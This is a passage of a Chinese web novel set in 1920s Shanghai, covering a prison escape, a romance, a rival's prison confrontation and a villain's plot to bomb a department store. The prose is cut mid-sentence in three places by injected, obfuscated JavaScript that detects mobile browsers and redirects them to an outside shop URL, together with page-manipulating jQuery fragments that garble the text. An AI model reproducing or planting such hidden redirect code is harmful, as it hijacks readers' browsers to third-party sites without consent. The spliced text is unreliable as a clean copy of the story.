众人像在迷雾的海面中找到了灯塔,赶快到处摸索着。 “这里!”龙三率先找到,在距离这块砖头一米的地方果然还有另一块! 二人一同按下去,“噌”的一声,看到墙壁缓缓打开,一个小道赫然出现在眼前! 顾茉大喜道:“太好了,天不亡我们!” 水影也在终于露出了如释重负的笑容。 他们进去后,通道便自动关闭了。 急匆匆赶来的狱卒们见到炎曜不见了,大惊失色,皆是丈二和尚摸不着头脑。一直有人把守大门,却没见到炎曜出来,那些劫狱的也不见了,难道他们还会长着翅膀飞走不成?! …… 水影一行人越往前走,仿佛生的希望越近,终于,他们出了监狱,看到一辆黑色轿车等在路口,刘敬则赶忙下车,招呼他们上车。 可是炎曜再也坚持不下去了,他仿佛已经用尽了全部的力气,脚下一软,终于晕倒了…… *** 再度醒来时,只听到炉子里火堆噼啪作响的声音,温暖明亮,仿佛恍若隔世。 他的身上已经被包扎好,连手与脚都缠上了绷带。 水影趴在床边,似乎睡着了,炎曜静静望着她恬静的睡颜,只觉得心中暖暖的。他从没想过,自己还能活着出来,捡回一条命。 一缕发丝垂了下来,挡住了她光洁的额头,炎曜想伸手将她的头发拨回去,手指却怎么也使不上力气。 水影本来就睡得很浅,此时睫毛扑闪了一下,睁开了眼睛。 “你终于醒了,吓死我了。”水影抓住他的手,只觉得万分心疼。 她眼下有一圈淡青色,想来是没有睡好,看到炎曜醒了,悬着的一颗心才终于放了下来。 刘敬则会医术,给炎曜进行了包扎,连见惯了伤口的他都觉得触目惊心,真不知道炎曜是怎么挺过来的。 不愧是白钰兄的好儿子,钢铁一般的意志。 这里是楚飞歌的城郊木屋,木屋的主人已经离开了上海滩,成了天地一沙鸥,临走前便将房子的钥匙送给水影,没想到如今却派上了用场。谁也不会想到,他们会藏身在此处。 “你饿了吗?顾茉煮了白粥,要不要吃一点?”水影关切地问道,见炎曜微微点了点头,将他慢慢扶起,枕头垫在了他的背后。 刘敬则拍拍他的肩膀说:“孩子,你受苦了,真对不起,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268709|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叔叔连累了你,如今你上了上海滩的通缉名单,北洋政府已经开始全城大搜捕了,我们先躲过这一阵,等你能下地了,再买两张船票,送你和小水出去。” 顾茉将白粥端过来,提醒道:“水路不太安全吧,警察厅已经设下了重重关卡,就等着我们自投罗网呢,依我看,还是陆路比较靠谱。” “还是让小炎先好好养伤吧,这件事情再从长计议。”刘敬则起身,说他出去再探探虚实。其实,水影已经将血魔是梅三霍这件事情告知了刘敬则,也说了会有炸弹埋在上海滩,所以刘敬则这几天都在打探消息,收集信息。 水影接过白粥,用调羹搅拌了一下,白粥冒着热气,有些烫,便吹了吹。 炎曜本要接过来自己吃,水影却皱眉说:“你手都这样了,怎么吃?别逞强了,还是我喂你吧。” “嗯。”炎曜从喉咙里发出了微末的一声,“我昏迷几天了?” “整整三天三夜了。” 水影坐在床边,每盛起一勺,便吹了吹,再递给炎曜吃。炎曜觉得,她好像在照顾小孩子似的,不自觉地扯出一抹笑。 “你啊你,还有力气笑!”水影本想捏他的脸,又觉得他这样子太可怜了,便作罢了,只是装作很生气地说:“你要是下次还敢像这次这样吓我,我就不要你了,随你自生自灭,我说到做到。” 炎曜眸光幽深,只是说:“也好。” “也好?”水影像一拳打在了棉花上,放下粥碗,叉着腰说:“你什么意思,难道我见死不救,放你一人去死,你会很高兴吗?” “起码你不会陷入危险之中,那时,我在监狱里,无论他们拿出什么刑具我都没有一点害怕,甚至他们拔我指甲的时候,我的心都是镇定的,只觉得那是皮肉之苦罢了,可是看到你第一次按下那砖头,密道门没开,我是真的很害怕,如果找不到密道,你们都会被抓进去。我一个人,死了便死了,可如果你被抓走了……”炎曜的目光越来越惶悚不安,他目不转睛地盯着水影,“如果他们对你用刑,或者做出伤害你的事情,那恐怕……我真的会疯掉。” 水影没想到他竟会这样想,心中柔软得一塌糊涂,声音也不自觉地放低了,她搂过炎曜,轻声说:“都过去了,起码,我们都还活着。” 顾茉抿嘴笑了笑,悄咪咪地退出去,将空间留给这对有情人。 “曜之,你记住了,以后一定不要像这次这样吓我,有什么事,一定要第一时间找我商量,我真的不知道,下次还有没有这样的好运气……”水影将头埋在炎曜怀里,一想起在监狱里看到的第一眼,眼眶不自觉地发红,“当时我看到你,就那样倒在那里,我真的以为你已经……已经……” 水影有些哽咽,没有继续说。 “对不起……对不起……”炎曜抱着她,一遍又一遍地重复着。 水影摇摇头,“别再说对不起了,我们都要好好的,不要再丢下我一个人了。” 她的目光缱绻而温柔,炎曜不由得在她额头上印上了一个吻。 “我答应你,从此福祸相依,不离不弃。”他的声音很低沉,却很坚定。 炉火噼啪作响,二人额头贴着额头,只觉得两颗心越来越近…… 121. 凡夫俗子 傍晚,顾茉和刘敬则乔装打扮后告辞了,他们说这次的行动堪称完美,只有两位兄弟受了伤,也不致命,可刘敬则还是要去帮他们诊治一下,避免伤口感染了。 木屋里就留下水影和炎曜两人,只有一张床,炎曜是病人,水影自然不能让他睡地上,便自己抱着一床被子,说要睡地上。 “其实,我旁边还有位置。”炎曜浅浅道:“而且我现在伤的这么重,你不必担心我会对你做什么。” 水影脸颊有点红,“谁担心这个了?” 她眸光低垂,双颊似梅花初绽,在炉火的掩映下,更显得明艳动人,就像一幅徐徐展开的古画,让人怎么看都看不够。 炎曜心中一个念头陡然升起,要是能快点将她娶回家就好了,到时就能天天见着她了。 他自动往里挪了挪,到了最里面,水影也吹了蜡烛,慢慢躺下。 “睡吧,你太累了,我心疼。”炎曜将被子搭在她的身上,柔声道。 二人就隔着一个拳头的距离,屋外大风呜咽,夜色笼罩,屋内却温暖如春,更何况身边还有自己的爱人,炎曜只觉得心满意足,是三天前想也不敢想的光景。要是现在的他告诉三天前的他,自己会如此这般,三天前的他肯定会说他是痴人说梦。 昏暗中,水影突然问:“曜之,你会觉得不值得吗?为自己感到不值。” 炎曜微怔,立刻明白了她的意思。 他的理想一直都是保护上海滩的百姓,为此,不惜奉献整个青春,更不用说为了案子殚精竭虑了,而如今,却落到了这种境地——不光受了大刑,还成为通缉犯,那么他做出的那么多努力,又算什么?水影是在问他,会不会觉得自己错付了…… 炎曜想了想,摇头:“我从不为自己的所作所为后悔,只求无愧于心,我唯一后悔的事就是,让你担心,看到你为我这样担忧,我真是觉得自己太该死了。” “呸呸呸……”水影捂住他的嘴,“别再说这个字了,不吉利!” 炎曜却亲吻了一下她的掌心,水影脸又一红,赶忙收了手。 “你欺负我!”她将脸埋在被子里,不再看炎曜了,只觉得心跳如擂鼓。 “我在吻我的妻子,怎么能说是欺负?” “谁是你妻子了?” “你啊。” “炎曜,你……” 话未说完,嘴唇就被堵住了,水影挣扎了两下,便随他去了,说实话,她也很思念他,仿佛久别重逢一般。她伸出手臂,揽住他的脖子,沉醉于这个吻中。虽然只有几天没见,可是这次却差点是生死相隔,二人逐渐难舍难分起来。 “嘶……”炎曜的伤口被扯动了,他冷哼了一声。 水影赶忙推开他,问他有没有事。 “我只是有点兴奋,得意忘形了。”耳边传来炎曜的轻笑声,勾的水影的心痒嗖嗖的。 炎曜像是突然想起了什么,说:“我这次在狱中,还见到了李皖。” “他来上海做什么?”听到这个熟悉的名字,水影眼角不由得一跳。 “他似乎已经加入了血魔的阵营,我猜他们的计划是这样的,等血魔引爆炸弹,搅乱上海滩后,李皖再带士兵冲进城里,趁乱占领整座上海滩。” “他跟你说什么了?”水影趴在床上,凑近炎曜。 炎曜不禁回忆起三日前,见到李皖的场景。 李皖来到了监狱中,他的身边还有监狱长,监狱长谄媚地打开铁门,让李皖进去,自己则在门外守着。 看着炎曜半死不活的样子,李皖想起某一次,他们也是在监狱里见面,那还是租界监狱,也是李皖最狼狈的时候。只是这次他们交换了位置,他在外面,而炎曜在里面。 炎曜比他那次还要狼狈,浑身血淋淋的,受伤很重,好像只吊着最后一口气了。 他一时不习惯他这个样子,印象中,炎曜一时是强大的、冷酷的,自信的,让人仰望的,可是如今,却像木偶一样躺在那里,半人半鬼。 可李皖却没有半分作为胜利者的喜悦,只觉得悲哀:连炎曜这样的人命运都不由得他自己左右,在乱世之中,还真是人命如草芥。 炎曜见是李皖,似乎并不惊讶,而是挣扎着爬起来,背靠在墙上,捂着胸口,直直地坐着。 李皖负着手,开口道:“我已经见过血魔了,他一直知道我恨你,所以我请求他让我来看看你,看看你落到怎样凄凉的下场。”他的面目扭曲,话语也冰冷起来,“你现在这个样子,真是连我家的狗都不如。” “那你现在看到了。”炎曜只是淡淡道。 李皖冷冷一笑,“我一直以为炎大督查有着通天的本领,没想到也是个凡夫俗子罢了,被关在这暗无天日的鬼地方,连生死都由不得自己。命运啊,就是这般曲折离奇,谁能想到,上海滩人人敬佩的大英雄,如今会像一只老鼠一般,在如此阴暗肮脏的地方苟延残喘呢?” “我可从没说过自己是神仙,我也从不信命。”炎曜脸色仍然是从容的,即使在这种情况下。 看着他身上狰狞的伤疤,李皖突然说:“你知道吗?我一直都嫉妒你,为什么你可以成为所有人的中心,只要你出现,无论何时何地,所有人的目光就都会集中在你的身上……呵,不过其他人怎么看我都不在意,在这个世上,我唯一在意的,只有她的反应。可是,她和他们一样,她只要为了你,就看不见我了……有时候我一直都在想,凭什么?我的出身和家世不比你差,对她的爱更不比你少,为什么你就能轻轻松松地拥有她,而我却不能?和你比,我到底差在了哪里?” “我从来都不想和你比。”炎曜从胸膛吐出一口气。 “不是不想,是不屑吧?也对,那时我还只是个小巡捕,太普通了,丢在人堆里都不显眼,而你已经是人人敬仰的大英雄了,和你比,我就像一个好笑的小丑,又像一只臭虫,在阴沟里爬行,只知道仰望你,嫉妒你,这样的人生,简直太可悲了!” “也许有一件事,你并不知道。”炎曜像是很平静地陈述一个事实,“那一日在你行刑前,她曾经来找过我,甚至对我说,如果我不救你,就与我此生不复相见。” “你说什么……”李皖震惊地望着炎曜,眼睛有一瞬间的失神,好像听到了一个世间最大的笑话,“不可能……不可能的……她怎么会?我不信……这怎么可能?!” 而炎曜的目光告诉他,他说的是真的,没有半句虚言。 原来在他不知道的时候,她曾经说过这种话。 还是为了他…… 这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282128|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刹那,李皖不知道自己是该笑还是该哭,他的整个语言系统都紊乱了。 炎曜的话一字一句地刻在了他的心上。 “你在她心中,一直占有很重要的位置,她是真心将你当做朋友的。在你什么都不知道的时候,我也曾嫉妒过你……你可以不信,可在那个时候,我真的很嫉妒你,为了你,她居然对我说出那种话。” “……” 李皖怔忪地看着炎曜,像是听到了什么难以置信的事情。 炎曜从未对他说过这种话,李皖还以为炎曜从来都不会有“嫉妒”这种卑劣的感情,没想到,他也只是个凡人。 一个爱恨嗔痴全在一身的凡人。 李皖背过身去,肩膀剧烈地上下起伏着,好一会儿才恢复了冷静。 “你如果知道了那伽王的计划,我不信你还会如此淡定!”李皖深吸一口气,走近了几步:“我已经和那伽王大人达成了协议,不破不立,等上海滩落入我们手中后,就平分上海滩,到时候,我会要你跪在我面前,像狗一样地祈求我放过你,也放过她。到时候,看到你那么卑微与懦弱的样子,她,还会看得上你么?” 李皖说完后,目光定在了炎曜的脸上,他是多么希望从他脸上看到愤怒,鄙视,不屑的目光,可是很可惜,让他失望了,炎曜的表情是从未有过的平静。 “你难道不生气吗?你如果求我,我就考虑一下。” “你是我教出来的,我心里早就把你当做我的徒弟了,我,不信你会这样。”炎曜的目光仍是平稳安定的,好像无风无浪的大海一般。 李皖露出惊讶的神色,手指默默地收紧。 炎曜说:“难道血魔是什么值得信任的人么?一路走来,我们不是不知道他的所作所为,面对这样一个狠毒又没有底线的人,你真的觉得事成之后,他会和你平分上海滩吗?希望你别为他人做嫁衣,到时候竹篮打水一场空。” “你闭嘴!”李皖不屑道:“你有什么资格说我?管好你自己吧!明天早上,你就小命难保了。” “我的命,和你又有什么相关?说吧,你来这里真正的目的是什么。”炎曜道:“一念成佛,一念成魔,你心里应该早有打算了,我不会劝说你,更不会求你,因为我知道,事已至此,外人说再多都是没用了。” “你还看不出来吗?我来这里,就是要嘲弄你,让你知道,我才是最后的胜利者!”他越走越近,一把抓住炎曜的领口,一字一句道:“事到如今,你不用激将我,那伽王大人已经启动了计划,时间将会选在对他有特殊意义的一天,那个时候,整个上海,都会陷入恐慌之中!在黎明之时,所有人都会匍匐于我们脚下,上海滩会迎接它新的主人!我会在我们初遇的地方,等着你向我认输!” 他松开了他的衣领,掸了一下灰尘,冷冷道:“‘置酒长安道,同心与我违。’这是王维的一句诗,难道不像我们如今的样子?” 说完便背着手离开,监狱长给他披上了披风。 李皖就这样,消失在夜色中。 …… 水影陷入了沉思,如果李皖说的是真的,那么对血魔有特殊意义的一天,到底是什么时候?还好这几天她要刘叔多多收集他的资料,做到知己知彼,只有等明天刘叔来,再讨论吧。 122. 火药阴谋 第二日。 刘敬则和顾茉依然是乔装打扮前来,顾茉还给炎曜带来了一罐老鸡汤,说补身体最有用。 他们带来了一个文件袋,里面记录了梅三霍的生平。 其实梅三霍并不是他父亲梅森蕴的亲儿子,而是他的义子,十几年前,梅三霍只是山西城中的一个小乞丐,吃不饱,穿不暖,山西首富梅森蕴和儿子梅烁出城游玩,马儿却受惊了,拉着马车飞奔到了悬崖边,是一个小乞丐冒死救了他们,将他们从马车里拉出来。梅老爷为了感激这小乞丐,便将他带回家中,收为义子,取名梅三霍。 梅三霍深得梅老爷的欢心,可是后来,梅少爷却莫名其妙地死了,没过多久,梅老爷也死了,于是梅家财产全部落到了梅三霍的手中,因为拥有着巨大的财富,他成了山西的无冕之王。 “那么对他最重要的一天,到底是哪一天?”炎曜的话语让众人的心回到了案子身上。 顾茉问:“会不会是他接手煤矿公司的那一天?一般人对这种日子都印象深刻吧,是自己辉煌人生的开始。” 刘敬则指了指档案:“那是七月五日。” 如今才刚过年,七月离现在还有好几个月的时间呢,梅三霍一看就是按捺不住的样子,应该不会拖到那么晚。 “他有没有结婚生子呢?”炎曜仰头道。 “档案上说,他无妻无子,所以也不是这个。” 水影似乎若有所思,既然都不对,那么这一天也许是他改变命运的那一天,对于梅三霍来说,改变命运的那天便是他被梅老爷收养的那一天! 水影将这个推论跟他们说了,众人都表示赞许,刘敬则翻开了一页档案,“上面说是3月2日。” 说完,众人心里一凉,那不就是三天后吗? 如果真是这样,留给他们的时间也太少了。 刘敬则说:“事到如今,我们一定要尽快找到储存炸药的地点,否则后果不堪设想。” 顾茉看水影似乎陷入了沉思,问她在想什么。 水影缓缓道:“我想起了1605年发生在伦敦的火药阴谋,那个时候,一个名叫盖伊·福克斯的人加入了天主教小分队,企图在炸死信仰新教的国王詹姆斯和议会政要们,他们五人发现国会上议院的正下方有一地下室,便在那里存放了20桶火药,又添加了16桶,准备炸掉整个国会,从而改朝换代。后来有人担心一天主教的议员被炸死,便给他写了一封匿名信,结果被这议员告诉了国王,国王赶忙派人突袭地下室,抓住了盖伊,阴谋才宣告失败。” “那么这次,如果要炸毁建筑,说不定也会选北洋政府大楼,或者租界工部局下手。” “对,很有道理,只是这几处有重兵把守,想要得手会很困难,如果我是梅三霍,断断不会选这些地方,不过为了保险起见,我们也可以给他们写匿名信,提醒他们加强守卫。” “可若是另外的地方呢?”水影找了个椅子坐下,铺开了上海滩的地图。 如果梅三霍的目的是炸毁上海滩,一定会选上海滩附近的重要地点或关键基础设施作为目标,他的野心是成为上海王,所以这次的炸药事件,一定会轰轰烈烈的,一朝事变,必定满城皆惊。 有什么地方,会拿到这种效果呢? 水影圈了几处码头和工厂,可还是觉得像大海捞针一般,如今他们手上只有二十位弟兄,如果分散精力完全顾不过来,着实有些棘手。 炎曜说:“我们何不再看看梅三霍的经历?从他的背景,推断他也许对什么地方有特殊的记忆。” 顾茉眼眸微动,说:“你们看这里,梅三霍少年时曾在上海滩打工,后来才流落到了山西。” 没想到他居然有这段经历…… 水影的目光聚到了那几行字上。 八岁来到上海滩乞讨,在街上捡烟头,捡破烂。 十岁进入苏州河畔明氏纱厂做工,却因为偷东西被赶了出来。 十三岁进入南京路金门百货当送货员,却将客人衣服弄脏而被辞退。 十五岁在外滩码头搬运货物,意外断了一根手指。 后来梅三霍心灰意冷之下,回到了山西老家。 …… 没想到他少年时的经历居然如此曲折。在十五岁时,梅三霍灰溜溜地离开了上海滩,可是那个少年在那时会想些什么呢?一定心中充满了不甘与愤怒,甚至暗暗立誓,自己以后一定要堂堂正正地回来,不,回来可不够,他要成为这座城市的主人。 可是无论再悲惨的经历,也不是他伤害别人的理由。 刘敬则从善如流道:“那我便派人在这三处盯着,看有没有什么风吹草动。” “刘叔,请等一下。” 水影叫住了他,说:“明氏纱厂在十几年前虽然很红火,可是如今却江河日下,一年不如一年,厂里的工人也越来越少,如果他要炸毁这里,恐怕不会造成像其他地点那样大的影响。” 炎曜也颔首道:“血魔一向都是个自负而骄傲的人,如果收益不大,他是决计不会冒这么大的风险的。” …… 不多时,派出去打探的兄弟回来禀报,说在外滩码头附近有大卡车运送货物,来回了好多趟,不知道里面是什么。 难道外滩码头便是最终地点吗? *** 三日后。 梅三霍坐在阴暗房间的高高座椅上,摘下了面具。 他的面容苍白,整个人笼罩在黑暗中。 从这里可以俯瞰整个上海滩,梅三霍来到窗边,只觉得一切尽在掌握之中。 上海滩,曾经的他像丧家之犬般逃离了这里,今天,便要光明正大地走回来,还要站在最高的地方,让他们看看,他才是上海滩最后的主人。 八岁的时候,他从一个小乞丐做起,每天都捡垃圾,只为了混一口饭吃,他的童年和其他人比,凄清而惨淡。后来,好不容易在纱厂谋了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296828|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份差事,却被诬赖偷东西,那时,梅三霍清楚地记得明明是旁边的大人偷的,可他却栽赃到自己身上,为了保住工作,不惜欺负一个小孩子。 后来,他的工作连连受挫,最后在码头搬运货物时,因为太劳累了一下子没注意踩空了,整个小拇指被钢铁压断了,鲜血淋漓,他疼得快要窒息,码头的监工却抽起鞭子,威胁他要赔偿他们的损失,他气不过找他们理论,监工却联系本地□□将他揍了一顿,他直到现在还记得那些人雨点般的拳头和恶狠狠的话语。 “你个小疯子,还妄想赔偿,你这条贱命,连那一包货物都比不上!” 他们大笑着离去,只留下断了手指的他在雨中抽搐。 他只觉得窒息,为什么这个世界这么丑恶,丑恶地让他喘不过气来。他不过是想活下去,堂堂正正地像个人一样活着,可是居然连这么一点小小的要求都不能被满足。 那时他第一次有一个想法——不是他疯了,而是这个世界疯了。 旧的规则只会压迫像他这样的人,试想如果一个人已经那么努力了,却还是连糊口都不能,那么,这套规则又何尝不是上位者的剥削? 既然如此,他何不制定一套新的规则? 只有变得更强大了,才能成为规则的制造者,而不是遵守者。 回到山西后,他得知首富会驾车从一条小道经过,便提前埋伏在那里,故意向马匹扔石子,让它受惊,再追过去,救了那对父子。他们果然被自己骗了,还感激涕零的,拿他当救命恩人,真是蠢钝如猪! 后来,他被梅老爷收为义子,可是他总能感觉到,他只是当他是工具,一个帮他敛财的工具,从此之后,再无其他感情。而梅少爷也对他愈发猜忌,梅三霍知道,等梅老爷百年之后,那个房子便再也没他的立足之地了,他只有自救,而自救的唯一法子,便是给梅少爷下毒,结果他的性命。 梅老爷见儿子死后,伤心不已,梅三霍再用同样的方式弄死了梅老爷。 只是他低估了梅家的手段,听说这父子二人死后,梅家的许多旁支亲戚都冒了出来,要争家产,梅三霍早就预料到了这一点,这些年他一直培植自己的势力,建立了“暗夜组织”,暗地里将那些亲戚全部杀死,一个不留,他便再也没有后顾之忧了。 后来,暗夜组织越来越强大,他便派他们潜入上海滩,将当年欺负过他的人一个一个杀死,报仇雪恨。 杀人的快感让他感到颤栗,甚至是兴奋。 虽然短时间会死伤一些人,可是长久看来,人们一定会感激他,时间会证明,他所做的一切都是值得的。 他故意调虎离山,让卡车进出码头附近,而实际的地点,却是金门百货。 金门百货是富人的购物天堂,他们从小到大享受了那么便利,现在也应该是时候付出代价了。 这么多年,筹备了这么多,就待今朝。 时间一分一秒过去,中午十二点的钟声即将敲响。